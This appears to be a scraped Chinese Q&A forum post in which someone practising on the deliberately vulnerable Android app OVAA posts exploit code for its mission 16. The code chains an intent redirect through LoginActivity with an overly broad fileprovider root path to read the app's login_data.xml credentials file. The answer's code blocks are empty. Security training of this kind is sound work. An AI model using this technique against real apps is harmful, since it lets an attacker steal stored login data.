有一个脆弱的应用程序来练习Android的安全性。Link Here我被困在它的16个使命。
16.在根条目中使用超安全的.ovaa.fileprovider内容提供程序的非常宽的文件共享声明。
我很努力地想解决它,但还是做不到。这是我的代码
MainActivity.Java
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent extra = new Intent(Intent.ACTION_VIEW);
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION );
extra.setClassName(getPackageName(), "com.exploit.app.LeakActivity");
extra.setType("text/xml");
extra.setData(Uri.parse("content://oversecured.ovaa.fileprovider/root/data/data/oversecured.ovaa/shared_prefs/login_data.xml"));
Intent intent = new Intent();
intent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity");
intent.putExtra("redirect_intent", extra);
startActivity(intent);
}
}
字符串
LeakActivity.java
public class LeakActivity extends MainActivity {
InputStream i = getContentResolver().openInputStream(getIntent().getData());
public LeakActivity() throws FileNotFoundException {
}
}
型
AndroidManifest.xml
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".LeakActivity" />
型
- 谢谢你 *
1条答案
按热度按时间o2gm4chl1#
我验证了,确认下面提供的代码是为我工作:
MainActivity.java
字符串
Leaker.java
型
AndroidManifest.xml
型